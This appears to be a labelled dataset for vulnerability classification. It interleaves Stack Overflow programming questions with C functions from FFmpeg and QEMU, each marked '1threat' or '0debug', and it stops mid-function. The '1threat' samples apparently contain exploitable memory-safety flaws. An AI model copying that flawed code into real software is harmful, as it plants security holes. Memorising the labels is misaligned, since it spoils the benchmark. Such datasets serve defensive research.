memcpy(q->prev_lspf, quantized_lspf, sizeof(q->prev_lspf)); q->prev_bitrate = q->bitrate; *data_size = 160 * sizeof(*outbuffer); return buf_size; }
1threat
Change <td> background color based on value : <p>I was trying this one but doesn't seem to work for me. I took reference from <a href="https://wordpress.stackexchange.com/questions/211245/change-colour-of-table-td-based-on-value">here</a>. And below is my code:</p> <pre><code>$today = date('Y-m-d'); $date = new DateTime(); $R1D2 = $date-&gt;setISODate($year,$week,1)-&gt;format('Y-m-d'); &lt;td width="14.285%" &lt;?php if ($R1D2 = $today): ?&gt; style="background:#EEEEEE" &lt;?php endif ?&gt;&gt;some content here &lt;/td&gt; </code></pre> <p>The result is, all the cells changes its background even if it's not equal with <code>$today</code></p>
0debug
How can i create an empty file using a batch command? : <p>so far my project is all about creating files for an imaginary game and I have to create files (and files within files), first, i have to ask them what version they want, and then the bacth will create new files on my computer.</p> <p>I just want to know what is the command to create new files, no need for other info.</p> <p>Thanks. </p>
0debug
Data conversion failed in sql server replication : I have a trasactional replication setup in my production environment.I am getting the below error while replicating from publisher to subscriber. > Conversion failed when converting the varchar value '* ' to data type int. > Error: 14151, Severity: 18, State: 1. Kindly help me
0debug
Why use async when I have to use await? : <p>I've been stuck on this question for a while and haven't really found any useful clarification as to why this is.</p> <p>If I have an <code>async</code> method like:</p> <pre><code>public async Task&lt;bool&gt; MyMethod() { // Some logic return true; } public async void MyMethod2() { var status = MyMethod(); // Visual studio green lines this and recommends using await } </code></pre> <p>If I use <code>await</code> here, what's the point of the asynchronous method? Doesn't it make the <code>async</code> useless that VS is telling me to call <code>await</code>? Does that not defeat the purpose of offloading a task to a thread without waiting for it to finish?</p>
0debug
Can someone help me through? Java/Rectangles : i am currently working with a project involving rectangles and i want to create a public method which takes as a definition another rectangle and returns the smallest possible distance between them.(it can be calculated through the smaller possible distances of each projection on each axis respectively). I also need another method that returns the biggest possible distance between 2 rectangles. I am quite confused by the complexity needed and not sure how to construct it and would like some help. http://imgur.com/IcHTGII --> this is an example . Here are the basic constructors used to develop it. class Rectangle { private int dimensionality; private double[] lowerBound; private double[] upperBound; public Rectangle(int dimensionality){ this.dimensionality = dimensionality; lowerBound = new double[dimensionality]; upperBound = new double[dimensionality]; } }
0debug
void *av_realloc(void *ptr, unsigned int size) { #ifdef MEMALIGN_HACK int diff; if(!ptr) return av_malloc(size); diff= ((char*)ptr)[-1]; return realloc(ptr - diff, size + diff) + diff; #else return realloc(ptr, size); #endif }
1threat
how to remove duplicate values from a list but want to include all empty strings from that list : <p>I have a list of objects in which I want to remove duplicates but does not want to remove blank objects. I am using DistinctBy lambda expression. But it also removes duplicates. Can anyone help me in providing the condition that passes blank and checks only that object which has proper value in an object ?</p>
0debug
New IP address does not persist after restart : <p>I have some code that uses system commands to set the IP address and default gateway in Linux.</p> <p>It works, but when the Linux OS is restarted, it reverts back to the old IP address.</p> <p>Here are the commands used, addresses changed here.</p> <pre><code> ip link set eth1 down ifconfig eth1 0.0.1.2 netmask 255.255.255.0 route add default gw 0.0.1.2 eth1 ip link set eth1 up </code></pre> <p>Is there another place in Linux where the IP address needs to be set, that 'ifconfig' does not change?</p> <p>Thanks in advance for any replies.</p>
0debug
Trouble with status bar : When I get to the screen for the first time the status bar overlaps [1]my UIview, but when I switch to another screen and go back, there is a white bar in the status bar. What is the reason?[enter image description here][2] [1]: https://i.stack.imgur.com/rlON9.png [2]: https://i.stack.imgur.com/WA3Xg.png
0debug
Trying to understand the differences between CanActivate and CanActivateChild : <p>So, I'm trying to protect the access to several routes by using guards. I'm using the following routes to do so :</p> <pre><code>const adminRoutes : Routes = [ { path: 'admin', component: AdminComponent, canActivate: [ AuthGuardService ], children : [ { path: '', canActivateChild: [ AuthGuardService ], children: [ { path: 'edit', component: DashboardComponent}, { path: '', component: DashboardComponent} ] } ] } ]; </code></pre> <p>Here's a look at what <code>AuthGuardService</code> looks like</p> <pre><code>import { Injectable } from '@angular/core'; import {CanActivate, Router, ActivatedRouteSnapshot, RouterStateSnapshot} from "@angular/router"; @Injectable() export class AuthGuardService implements CanActivate{ constructor(private router: Router) { } canActivate(route: ActivatedRouteSnapshot, state: RouterStateSnapshot){ console.log("Guarding..."); return this.sessionValid(); } canActivateChild(route: ActivatedRouteSnapshot, state: RouterStateSnapshot){ console.log("Guarding children..."); return this.canActivate(route, state); } sessionValid() : boolean { //tests } } </code></pre> <p>When I try to access to '/admin' and '/admin/edit' with <code>canActivate</code> only (<code>canActivateChild</code> is commented) the console displays</p> <pre><code>Guarding... </code></pre> <p>When I remove <code>canActivate</code>and bring <code>canActivateChild</code>back the console displays </p> <pre><code>Guarding children... </code></pre> <p>When I keep both, it goes back to displaying <code>Guarding...</code>. So, my question is what's the purpose of having <code>canActivateChild</code> when <code>canActivate</code>protects both the root element and the children ?</p> <p>PS : I get it that <code>canActivateChild</code> runs before the child route is activated. But what are the benefits of that ? Isn't keeping only one of them sufficient ?</p>
0debug
How can i remove a record from List in MVC ASP.Net : How can i remove a record from List in MVC 4 ASP.Net by click on Delete button Here i am not using any database i want to delete a record from list which i have define in controller. without any database remove a record from list using delete action **StudentController** public class StudentController : Controller { // // GET: /Student/ public ActionResult Index() { List<StudentVM> students = new List<StudentVM>(); StudentVM obj1 = new StudentVM(); obj1.Name = "Zeeshan"; obj1.id = "1"; obj1.Address = "Lahore"; students.Add(obj1); StudentVM obj2 = new StudentVM(); obj2.Name = "Zeshan"; obj2.id = "2"; obj2.Address = "Lahore"; students.Add(obj2); return View(students); } public ActionResult Delete(string? i) { List<StudentVM> students = new List<StudentVM>(); var st = students.Find(c=>c.id=i); students.Remove(st); return View("Index"); } } } **View** @model List<Activity2.Models.StudentVM> @{ ViewBag.Title = "Index"; } <table border="1"> <tr><th>Id</th> <th>Name</th> <th>Address</th> </tr> @foreach (var obj in Model) { <tr> <td>@obj.id</td> <td>@obj.Name</td> <td>@obj.Address</td> <td> @Html.ActionLink("Delete","Delete",new{i = obj.id}) </td> </tr></table> } **Error** Error 1 The type 'string' must be a non-nullable value type in order to use it as parameter 'T' in the generic type or method 'System.Nullable<T>' Error 3 Cannot implicitly convert type 'string?' to 'string'
0debug
On which way does RDD of spark finish fault-tolerance? : <p>Spark revolves around the concept of a resilient distributed dataset (RDD), which is a fault-tolerant collection of elements that can be operated on in parallel. But, I did not find the internal mechanism on which the RDD finish fault-tolerance. Could somebody describe this mechanism?Thanks.</p>
0debug
Technology stack selection : PHP, Ruby on Rails with World Press : <p>I have to create a web site with the functionality of similar to some e-commerce website, but it will also have a user forum and the users will have ability to write blogs/articles. I will also have a mobile app (hybrid app for iOS and android), so I want my server side Rest APIs to be re-usable from my web front as well as from mobile app perspective (not 100% but at least the platform and technology I want to be same, so it will be easy for me to write back end code for my website and mobile app).</p> <p>With above in my mind, I would prefer to leverage something like world press , as it will save me a lot of design and tempting time for my website and it also have forum plugins etc. I am the single developer who will be doing everything.</p> <p>My questions are as below :</p> <ol> <li>If I go with World press, my only technology options are PHP/MySQL, is it correct? if yes, then how good the idea is to create REST APIs in PHP? up to what extend World press gives me option to write my custom code and customize my website from coding perspective?</li> <li>Is Ruby on Rails a better fit for this scenario? can I use RoR with World Press? How are RoR server side REST APIs in terms of performance?</li> <li>Not leaning towards the Node js solution as my use cases are not really heavily real time features, but more of a CRUD operations, and on top of that I will not be able to leverage any CMS such as World Press in this case.</li> <li>For forum, is it a good idea to leverage some plugin such as bb press, or vBulletin? any other better option? I think writing of all the forum functionality from scratch won’t be a good idea.</li> </ol> <p>Any guidance will be highly appreciated.</p> <p>Thanks.</p>
0debug
int cpu_is_bsp(CPUX86State *env) { return env->cpu_index == 0; }
1threat
Java import packages understanding : <p>i'm learning Java for one year now and this question is confusing me.</p> <p>At the moment i'm working with Java Swing and i want to know why i have to write the line</p> <pre><code>import java.awt.event.*; </code></pre> <p>when i want to use the actionListener even when i've already imported the whole awt package before :/</p> <pre><code>import java.awt.* </code></pre> <p>why do i have to tell the compiler to import a Sub-package (is it the right name?), for instance the event package, when i already imported everything under the awt package?</p> <p>Thanks alot!</p>
0debug
static void QEMU_NORETURN force_sig(int sig) { int host_sig; host_sig = target_to_host_signal(sig); fprintf(stderr, "qemu: uncaught target signal %d (%s) - exiting\n", sig, strsignal(host_sig)); #if 1 gdb_signalled(thread_env, sig); _exit(-host_sig); #else { struct sigaction act; sigemptyset(&act.sa_mask); act.sa_flags = SA_SIGINFO; act.sa_sigaction = SIG_DFL; sigaction(SIGABRT, &act, NULL); abort(); } #endif }
1threat
CSS Text Shadow Opacity : <p>I have some text with the following css:</p> <pre><code>.text-description-header { font-size: 250%; color: white; text-shadow: 0 1px 0 black; } </code></pre> <p>As you can see, it has a black shadow.</p> <p><strong>Question</strong></p> <p>Is it possible to make the shadow opaque?</p> <p>Thanks</p>
0debug
Can anyone tell me , what is " return false " or "return true" in programing , especially in JavaScript or PHP : <p>who can help me with this problem I don't understand " return true " or "false" in programing. especially this keyword " return "</p>
0debug
how sholud i make pojo class.. object having unlimited number of array..object result may have unlimited array my json response like this : {"result":{"0":[ {"id":"51","first_name":"ra","last_name":"d","email":"raj@gmail.com","password":"1234","mobile_no":"8252536365","parent_id":"50","position":"0","type":"User","created_at":"1476447434","updated_at":"1476447434","deleted_at":null,"stage":0,"total_childs":0},{"id":"52","first_name":"Ashish","last_name":"Chauhan","email":"ashish@mlm.com","password":"12345","mobile_no":"89889989832","parent_id":"8","position":"1","type":"admin","created_at":"1476702542","updated_at":"1476702542","deleted_at":null,"stage":0,"total_childs":0}],"2":[{"id":"2","first_name":"Ashish","last_name":"Chauhan","email":"ashish@mlm.com","password":"12345","mobile_no":"89889989832","parent_id":"1","position":"0","type":"admin","created_at":"1475674631","updated_at":"1475674631","deleted_at":null,"stage":2,"total_childs":2}],"1":[{"id":"7","first_name":"Shiva","last_name":"Singh","email":"shiva@mlm.com","password":"12345","mobile_no":"89889989832","parent_id":"2","position":"0","type":"user","created_at":"1475674808","updated_at":"1475674808","deleted_at":null,"stage":1,"total_childs":2},{"id":"8","first_name":"Atul","last_name":"Kumar","email":"atul@mlm.com","password":"12345","mobile_no":"89889989832","parent_id":"2","position":"1","type":"user","created_at":"1475674835","updated_at":"1475674835","deleted_at":null,"stage":1,"total_childs":2}]}}
0debug
Can anyone help me with the errors the given code showing? Help me to compile the code fully : It's a manipulation of two codes. first i send the latitude and longitude value found from the gps module by sms(arduino,gsm module), then by another code i send it to a php file in the server by using http protocol(arduino+gps/gsm/gprs shield). Now when i am merging two codes,it's showing errors like below: Arduino: 1.8.10 (Windows 10), Board: "Arduino/Genuino Uno" C:\Users\rafez\OneDrive\Documents\Arduino\Hajji_Tracker\Hajji_Tracker.ino: In function 'void getGPSLocation()': Hajji_Tracker:58:29: error: invalid operands of types 'const char [12]' and 'char [16]' to binary 'operator+' Serial.println("Latitude :"+latitude); ~~~~~~~~~~~~~^~~~~~~~~ Hajji_Tracker:59:30: error: invalid operands of types 'const char [13]' and 'char [16]' to binary 'operator+' Serial.println("Longitude :"+longitude); ~~~~~~~~~~~~~~^~~~~~~~~~ C:\Users\rafez\OneDrive\Documents\Arduino\Hajji_Tracker\Hajji_Tracker.ino: In function 'void sendTabData(String, int, boolean)': Hajji_Tracker:91:18: error: incompatible types in assignment of 'String' to 'char [16]' latitude = data[3]; ^ Hajji_Tracker:92:18: error: incompatible types in assignment of 'String' to 'char [16]' longitude =data[4]; ^ ```C:\Users\rafez\OneDrive\Documents\Arduino\Hajji_Tracker\Hajji_Tracker.ino: In function 'void gsm_send_data(String*, String*)': C:\Users\rafez\OneDrive\Documents\Arduino\Hajji_Tracker\Hajji_Tracker.ino:138:32: warning: invalid conversion from 'String*' to 'uint8_t {aka unsigned char}' [-fpermissive] serialSIM808.write(latitude); // Add id to the url ^ In file included from C:\Users\rafez\OneDrive\Documents\Arduino\Hajji_Tracker\Hajji_Tracker.ino:1:0: C:\Program Files (x86)\Arduino\hardware\arduino\avr\libraries\SoftwareSerial\src/SoftwareSerial.h:102:18: note: initializing argument 1 of 'virtual size_t SoftwareSerial::write(uint8_t)' virtual size_t write(uint8_t byte); ^~~~~ C:\Users\rafez\OneDrive\Documents\Arduino\Hajji_Tracker\Hajji_Tracker.ino:144:33: warning: invalid conversion from 'String*' to 'uint8_t {aka unsigned char}' [-fpermissive] serialSIM808.write(longitude); // Add value to url ^ In file included from C:\Users\rafez\OneDrive\Documents\Arduino\Hajji_Tracker\Hajji_Tracker.ino:1:0: C:\Program Files (x86)\Arduino\hardware\arduino\avr\libraries\SoftwareSerial\src/SoftwareSerial.h:102:18: note: initializing argument 1 of 'virtual size_t SoftwareSerial::write(uint8_t)' virtual size_t write(uint8_t byte); ^~~~~ C:\Users\rafez\OneDrive\Documents\Arduino\Hajji_Tracker\Hajji_Tracker.ino: In function 'void loop()': Hajji_Tracker:169:37: error: cannot convert 'char*' to 'String*' for argument '1' to 'void gsm_send_data(String*, String*)' gsm_send_data(latitude,longitude); ^ Multiple libraries were found for "SoftwareSerial.h" Used: C:\Program exit status 1 invalid operands of types 'const char [12]' and 'char [16]' to binary 'operator+'``` I have tried many things but can't get rid of these problems. Would please help me getting my code compiled? Here is my code: #include <SoftwareSerial.h> SoftwareSerial serialSIM808(11, 10); //Arduino(RX=11), Arduino(TX=10) //you can replace these with any other pins //Arduino(RX) to SIM808(TX) //Arduino(TX) to SIM808(RX) //Arduino(Gnd) to SIM808(Gnd) String data[5]; #define DEBUG true String state,timegps; char latitude[16];// = "24"; char longitude[16];// = "24"; int numLatitude = 1,numLongitude = 100; void gsm_disConnect_gprs(){ serialSIM808.write("AT+CGATT=0\r\n"); // Attach to GPRS delay(2000); Serial.println("GPRS off"); } void setup() { //Begin serial comunication with Arduino and Arduino IDE (Serial Monitor) Serial.begin(9600); while(!Serial); //Being serial communication witj Arduino and SIM808 serialSIM808.begin(9600); delay(1000); Serial.println("Setup Complete!"); delay(200); sendData("AT+CGNSPWR=1",1000,DEBUG);//Turn on GPS(GNSS - Global Navigation Satellite System) delay(200); sendData("AT+CGNSSEQ=RMC",1000,DEBUG);//configure GPS sequence mode to RMC delay(200); sendData("AT+CGPSSTATUS?",1000,DEBUG);//check if GPS status is either 2D or 3D fix location. You can use this AT command to check te GPS status manually using the serial monitor. getGPSLocation(); serialSIM808.write("AT+CREG?\r\n"); delay(150); gsm_connect_gprs(); } void getGPSLocation() { //--------------------- send SMS containing google map location--------------------- sendTabData("AT+CGNSINF",1000,DEBUG);//Get GPS info(location if (state !=0) { Serial.println("State :"+state); Serial.println("Time :"+timegps); Serial.println("Latitude :"+latitude); Serial.println("Longitude :"+longitude); } else { Serial.println("GPS Initializing… Items to check: Power supply 12v 2A; Antenna must be facing the sky and/or near the window; Power switch must be turned on."); } //----------------------------------------------------------------------------------- } void sendTabData(String command , const int timeout , boolean debug){ serialSIM808.println(command); long int time = millis(); int i = 0; while((time+timeout) > millis()){ while(serialSIM808.available()){ char c = serialSIM808.read(); if (c != ',') { data[i] +=c; delay(100); } else { i++; } if (i == 5) { delay(100); goto exitL; } } }exitL: if (debug) { state = data[1]; timegps = data[2]; latitude = data[3]; longitude =data[4]; memset(data,0,sizeof(data)); } } String sendData (String command , const int timeout ,boolean debug){ String response = ""; serialSIM808.println(command); long int time = millis(); int i = 0; while ( (time+timeout ) > millis()){ while (serialSIM808.available()){ char c = serialSIM808.read(); response +=c; } } if (debug) { Serial.print(response); } return response; } void gsm_connect_gprs(){ serialSIM808.write("AT+CGATT=1\r\n"); // Attach to GPRS delay(2000); serialSIM808.write("AT+SAPBR=1,1\r\n"); // Open a GPRS context delay(2000); //serialSIM808.write("AT+SAPBER=2,1\r\n"); // To query the GPRS context //delay(2000); Serial.println("GPRS on"); } void gsm_send_data(String * latitude,String * longitude) { Serial.println("Sending data."); serialSIM808.write("AT+HTTPINIT\r\n"); // Initialize HTTP //Serial.print("AT+HTTPINIT\r\n"); delay(1000); serialSIM808.write("AT+HTTPPARA=\"URL\",\"http://499b.000webhostapp.com/?latitude=3&longitude=16\"\r\n"); // Send PARA command //serialSIM808.write("AT+HTTPPARA=\"URL\",\"http://shehanshaman.000webhostapp.com/?id="); //Serial.print("AT+HTTPPARA=\"URL\",\"http://shehanshaman.000webhostapp.com/?id="); delay(50); serialSIM808.write(latitude); // Add id to the url //Serial.print(latitude); delay(50); serialSIM808.write("&longitude="); //Serial.print("&longitude="); delay(50); serialSIM808.write(longitude); // Add value to url //Serial.print(longitude); delay(50); serialSIM808.write("\"\r\n"); // close url //Serial.print("\"\r\n"); delay(2000); serialSIM808.write("AT+HTTPPARA=\"CID\",1\r\n"); // End the PARA //Serial.print("AT+HTTPPARA=\"CID\",1\r\n"); delay(2000); serialSIM808.write("AT+HTTPACTION=0\r\n"); //Serial.print("AT+HTTPACTION=0\r\n"); delay(3000); serialSIM808.write("AT+HTTPTERM\r\n"); //Serial.print("AT+HTTPTERM\r\n"); //Serial.println(); delay(3000); Serial.print("data sent complete : "); } void loop() { //Read SIM808 output (if available) and print it in Arduino IDE Serial Monitor if(numLatitude<5){ itoa(numLatitude, latitude, 10); itoa(numLongitude,longitude, 10); gsm_send_data(latitude,longitude); Serial.print(numLatitude); Serial.print(" >> "); Serial.print(numLongitude); Serial.println(); delay(2000); numLatitude++; numLongitude+=45; if(numLatitude==5) gsm_disConnect_gprs(); } }
0debug
How to go to very previous step while doing debugging in eclipse : <p>I tried to run an application but my application was stopped with error message (handled by exception) . I want to see the very previous step that caused the exception. Is there any way through debugging we can find out the previous step that caused the exception.</p>
0debug
How to know up and down pattern on CandleStick using plotly python? : I have tried to plot the Candle Sticks for my data using the `plotly` library with Python. Using the typical plotting way, I got the following graph: Candle = go.Candlestick(x=stock.index, open=stock.open, high=stock.high, low=stock.low, close=stock.close ) Output: [![candles image][1]][1] Its cool. But what I was expecting to draw the image is something like the following: [![candles with arrow][2]][2] See the up green arrow and the down red arrow. I want to know how I can plot such graph using the plotly or any other library. Kindly, suggest me what will be helpful to get such a graph. [1]: https://i.stack.imgur.com/P83CJ.png [2]: https://i.stack.imgur.com/uENPM.png
0debug
How to Prevent 'UI Freeze by using .GetFiles in WPF' : <p>This is a fuction that compare the contents of two folders.</p> <p>Issue:</p> <p>When using System.IO.DirectoryInfo.GetFiles() the application is freezing (15 sec), I know that's because it's using the main thread... it's 10 GB.</p> <p>The reason why I'm not using a thread, sync or whatever is because I need the "fileInfosToCopy" list in by main thread, so when I'm going to use a thread I can not access it anymore.</p> <p>Any ideas? I only need the "fileInfosToCopy" list in my main thread.</p> <pre><code>string pathA = @"\\server\share\folder"; string pathB = @"C:\folder"; public void Scan() { try { string Computer = "server"; Ping ping = new Ping(); PingReply reply = ping.Send(Computer); if (reply.Status == IPStatus.Success) { var netwerkfolder = new DirectoryInfo(pathA); var localfolder = new DirectoryInfo(pathB); var networkfiles = netwerkfolder.GetFiles("*.*", SearchOption.AllDirectories); var localfiles = localfolder.GetFiles("*.*", SearchOption.AllDirectories); var listmissingfiles = networkfiles.Select(s =&gt; s.Name).ToList().Except(localfiles.Select(s =&gt; s.Name)).ToList(); var fileInfosToCopy = new List&lt;FileInfo&gt;(); foreach (var info in networkfiles) { if (listmissingfiles.Contains(info.Name)) { fileInfosToCopy.Add(info); } } } else { // not connected } } catch (Exception) { // x } } } </code></pre>
0debug
how to create in python a gui that writes into file : <p>I have this code that creates a gui with value entry box. but how do I make the it write into file when I push the button?</p> <pre><code>from tkinter import * from tkinter import messagebox from tkinter import simpledialog msg = messagebox sdg = simpledialog root = Tk() w = Label(root, text="My Program") w.pack() msg.showinfo("welcome", "hi. ") name = sdg.askstring("Name", "What is you name?") age = sdg.askinteger("Age", "How old are you?") </code></pre>
0debug
Can not access underlying object of a Mock : <p>I have the following code in a unit test where I am using <code>Moq</code>:</p> <pre><code>Mock&lt;BorderedCanvas&gt; canvas2 = new Mock&lt;BorderedCanvas&gt;(); canvas2.Object.Children.Add(canvas1); canvas1.RaiseEvent(someEvent); canvas2.Verify(c =&gt; c.RaiseEvent(It.IsAny&lt;RoutedEventArgs&gt;()), Times.Once); </code></pre> <p>The code fails on the second line with this message:</p> <pre><code>System.NullReferenceException : Object reference not set to an instance of an object. </code></pre> <p>Any idea why I can not access the underlying object of the mock <code>canvas2</code>?</p>
0debug
how to use vue-router params : <p>I'm new to vue now working with its router. I want to navigate to another page and I use the following code:</p> <pre><code>this.$router.push({path: '/newLocation', params: { foo: "bar"}}); </code></pre> <p>Then I expect it to be on the new Component </p> <pre><code>this.$route.params </code></pre> <p>This doesn't work. I also tried:</p> <pre><code>this.$router.push({path: '/newLocation'}); this.$router.push({params: { foo: "bar"}}); </code></pre> <p>I've inspected the source code a bit and noticed this property gets overwritten with new object {}.</p> <p>I'm wondering is the params use is other than I think? If not, how to use it?</p> <p>Thanks in advance</p>
0debug
Tensorflow Tensorboard default port : <p>Is there a way to change the default port ("6006") on tensorboard so we could open multiple tensorboard? Maybe an option like --port="8008" ?</p>
0debug
static void vmsvga_bios_write(void *opaque, uint32_t address, uint32_t data) { printf("%s: what are we supposed to do with (%08x)?\n", __FUNCTION__, data); }
1threat
Using c# ClientWebSocket with streams : <p>I am currently looking into using websockets to communicate between a client/agent and a server, and decided to look at C# for this purpose. Although I have worked with Websockets before and C# before, this is the first time I using both together. The first attempt used the following guide: <a href="http://www.codeproject.com/Articles/618032/Using-WebSocket-in-NET-Part">http://www.codeproject.com/Articles/618032/Using-WebSocket-in-NET-Part</a></p> <pre><code>public static void Main(string[] args) { Task t = Echo(); t.Wait(); } private static async Task Echo() { using (ClientWebSocket ws = new ClientWebSocket()) { Uri serverUri = new Uri("ws://localhost:49889/"); await ws.ConnectAsync(serverUri, CancellationToken.None); while (ws.State == WebSocketState.Open) { Console.Write("Input message ('exit' to exit): "); string msg = Console.ReadLine(); if (msg == "exit") { break; } ArraySegment&lt;byte&gt; bytesToSend = new ArraySegment&lt;byte&gt;(Encoding.UTF8.GetBytes(msg)); await ws.SendAsync(bytesToSend, WebSocketMessageType.Text, true, CancellationToken.None); ArraySegment&lt;byte&gt; bytesReceived = new ArraySegment&lt;byte&gt;(new byte[1024]); WebSocketReceiveResult result = await ws.ReceiveAsync(bytesReceived, CancellationToken.None); Console.WriteLine(Encoding.UTF8.GetString(bytesReceived.Array, 0, result.Count)); } } } </code></pre> <p>Although this seems to work as expected, I was wondering if there is any way I can use the built in streams/readers in .NET with ClientWebSocket?</p> <p>Seems odd to me that Microsoft has this rich well established set of stream and reader classes, but then decides to implement ClientWebSocket with only the ability to read blocks of bytes that must be handled manually.</p> <p>Lets say I wanted to transfer xml, it would be easy for me to just wrap the socket stream in a XmlTextReader, but this is not obvious with ClientWebSocket.</p>
0debug
Trust Root Certificate in iOS 11 Simulator : <p>I am having trouble getting Charles Proxy to work with my iOS 11 simulator. It appears that I cannot get the simulator to trust the certificate. I go into General -> Settings -> About -> Certificate section and click the button to trust the cert. Then when I exit the settings and come back the switch is reset to untrusted. I can't get the setting to stick. Is anyone else having this issue?</p>
0debug
Collapse a doubleColumn NavigationView detail in SwiftUI like with collapsed on UISplitViewController? : <p>So when I make a list in SwiftUI, I get the master-detail split view for "free".</p> <p>So for instance with this:</p> <pre><code>import SwiftUI struct ContentView : View { var people = ["Angela", "Juan", "Yeji"] var body: some View { NavigationView { List { ForEach(people, id: \.self) { person in NavigationLink(destination: Text("Hello!")) { Text(person) } } } Text("🤪") } } } #if DEBUG struct ContentView_Previews : PreviewProvider { static var previews: some View { ContentView() } } #endif </code></pre> <p>I get a splitView if an iPad simulator is in landscape, and the first detail screen is the emoji. But if people tap on a name, the detail view is "Hello!"</p> <p>All that is great.</p> <p>However, if I run the iPad in portrait, the user is greeted by the emoji, and then there is no indication that there is a list. You have to swipe from left to right to make the list appear from the side.</p> <p>Does anyone know of a way to get even a navigation bar to appear that would let the user tap to see the list of items on the left? So that it's not a screen with the emoji only?</p> <p>I would hate to leave a note that says "Swipe in from the left to see the list of files/people/whatever"</p> <p>I remember UISplitViewController had a collapsed property that could be set. Is there anything like that here?</p>
0debug
how to how to send code to node server from js file? : I'm trying to do google authentication in my website in which the user get authenticated on my web page and after authentication it generates a code which contains `access_token` and `refresh_token` and now i want to send it to my Node server. I know `Xhttp` is a way but i want to avoid that. So I tried using handle bars but they only work for html right? so is there is anyway i could use something like `helpers` to send my code to the server? I tried to get around some posts like [how-can-i-share-code-between-node-js-and-the-browser][1] (which i think is quite old, node must've evolved till then right ?) and https://stackoverflow.com/questions/45032412/sending-data-from-javascript-html-page-to-express-nodejs-server (i didn't understood this one honestly) I'm new to Node.js so any guesses or any reference to the docs? [1]: https://stackoverflow.com/questions/3225251/how-can-i-share-code-between-node-js-and-the-browser
0debug
static void test_endianness_split(gconstpointer data) { const TestCase *test = data; char *args; args = g_strdup_printf("-display none -M %s%s%s -device pc-testdev", test->machine, test->superio ? " -device " : "", test->superio ?: ""); qtest_start(args); isa_outl(test, 0xe8, 0x87654321); g_assert_cmphex(isa_inl(test, 0xe0), ==, 0x87654321); g_assert_cmphex(isa_inw(test, 0xe2), ==, 0x8765); g_assert_cmphex(isa_inw(test, 0xe0), ==, 0x4321); isa_outw(test, 0xea, 0x8866); g_assert_cmphex(isa_inl(test, 0xe0), ==, 0x88664321); g_assert_cmphex(isa_inw(test, 0xe2), ==, 0x8866); g_assert_cmphex(isa_inw(test, 0xe0), ==, 0x4321); isa_outw(test, 0xe8, 0x4422); g_assert_cmphex(isa_inl(test, 0xe0), ==, 0x88664422); g_assert_cmphex(isa_inw(test, 0xe2), ==, 0x8866); g_assert_cmphex(isa_inw(test, 0xe0), ==, 0x4422); isa_outb(test, 0xeb, 0x87); g_assert_cmphex(isa_inl(test, 0xe0), ==, 0x87664422); g_assert_cmphex(isa_inw(test, 0xe2), ==, 0x8766); isa_outb(test, 0xea, 0x65); g_assert_cmphex(isa_inl(test, 0xe0), ==, 0x87654422); g_assert_cmphex(isa_inw(test, 0xe2), ==, 0x8765); g_assert_cmphex(isa_inw(test, 0xe0), ==, 0x4422); isa_outb(test, 0xe9, 0x43); g_assert_cmphex(isa_inl(test, 0xe0), ==, 0x87654322); g_assert_cmphex(isa_inw(test, 0xe2), ==, 0x8765); g_assert_cmphex(isa_inw(test, 0xe0), ==, 0x4322); isa_outb(test, 0xe8, 0x21); g_assert_cmphex(isa_inl(test, 0xe0), ==, 0x87654321); g_assert_cmphex(isa_inw(test, 0xe2), ==, 0x8765); g_assert_cmphex(isa_inw(test, 0xe0), ==, 0x4321); qtest_quit(global_qtest); g_free(args); }
1threat
how to create function which returns a dataURL(base64) by taking image URL in node js? : actually there are many answers for this question. But my problem is, i want to generate pdf dynamically with 5 external(URL) images. Im using PDFmake node module. it supports only two ways local and base64 format. But i don't want to store images locally. so my requirement is one function which takes url as parameter and returns base64. so that i can store in global variable and create pdfs thanks in advance
0debug
static int mpc8_decode_frame(AVCodecContext * avctx, void *data, int *data_size, AVPacket *avpkt) { const uint8_t *buf = avpkt->data; int buf_size = avpkt->size; MPCContext *c = avctx->priv_data; GetBitContext gb2, *gb = &gb2; int i, j, k, ch, cnt, res, t; Band *bands = c->bands; int off, out_size; int maxband, keyframe; int last[2]; out_size = MPC_FRAME_SIZE * 2 * avctx->channels; if (*data_size < out_size) { av_log(avctx, AV_LOG_ERROR, "Output buffer is too small\n"); return AVERROR(EINVAL); } keyframe = c->cur_frame == 0; if(keyframe){ memset(c->Q, 0, sizeof(c->Q)); c->last_bits_used = 0; } init_get_bits(gb, buf, buf_size * 8); skip_bits(gb, c->last_bits_used & 7); if(keyframe) maxband = mpc8_get_mod_golomb(gb, c->maxbands + 1); else{ maxband = c->last_max_band + get_vlc2(gb, band_vlc.table, MPC8_BANDS_BITS, 2); if(maxband > 32) maxband -= 33; } c->last_max_band = maxband; if(maxband){ last[0] = last[1] = 0; for(i = maxband - 1; i >= 0; i--){ for(ch = 0; ch < 2; ch++){ last[ch] = get_vlc2(gb, res_vlc[last[ch] > 2].table, MPC8_RES_BITS, 2) + last[ch]; if(last[ch] > 15) last[ch] -= 17; bands[i].res[ch] = last[ch]; } } if(c->MSS){ int mask; cnt = 0; for(i = 0; i < maxband; i++) if(bands[i].res[0] || bands[i].res[1]) cnt++; t = mpc8_get_mod_golomb(gb, cnt); mask = mpc8_get_mask(gb, cnt, t); for(i = maxband - 1; i >= 0; i--) if(bands[i].res[0] || bands[i].res[1]){ bands[i].msf = mask & 1; mask >>= 1; } } } for(i = maxband; i < c->maxbands; i++) bands[i].res[0] = bands[i].res[1] = 0; if(keyframe){ for(i = 0; i < 32; i++) c->oldDSCF[0][i] = c->oldDSCF[1][i] = 1; } for(i = 0; i < maxband; i++){ if(bands[i].res[0] || bands[i].res[1]){ cnt = !!bands[i].res[0] + !!bands[i].res[1] - 1; if(cnt >= 0){ t = get_vlc2(gb, scfi_vlc[cnt].table, scfi_vlc[cnt].bits, 1); if(bands[i].res[0]) bands[i].scfi[0] = t >> (2 * cnt); if(bands[i].res[1]) bands[i].scfi[1] = t & 3; } } } for(i = 0; i < maxband; i++){ for(ch = 0; ch < 2; ch++){ if(!bands[i].res[ch]) continue; if(c->oldDSCF[ch][i]){ bands[i].scf_idx[ch][0] = get_bits(gb, 7) - 6; c->oldDSCF[ch][i] = 0; }else{ t = get_vlc2(gb, dscf_vlc[1].table, MPC8_DSCF1_BITS, 2); if(t == 64) t += get_bits(gb, 6); bands[i].scf_idx[ch][0] = ((bands[i].scf_idx[ch][2] + t - 25) & 0x7F) - 6; } for(j = 0; j < 2; j++){ if((bands[i].scfi[ch] << j) & 2) bands[i].scf_idx[ch][j + 1] = bands[i].scf_idx[ch][j]; else{ t = get_vlc2(gb, dscf_vlc[0].table, MPC8_DSCF0_BITS, 2); if(t == 31) t = 64 + get_bits(gb, 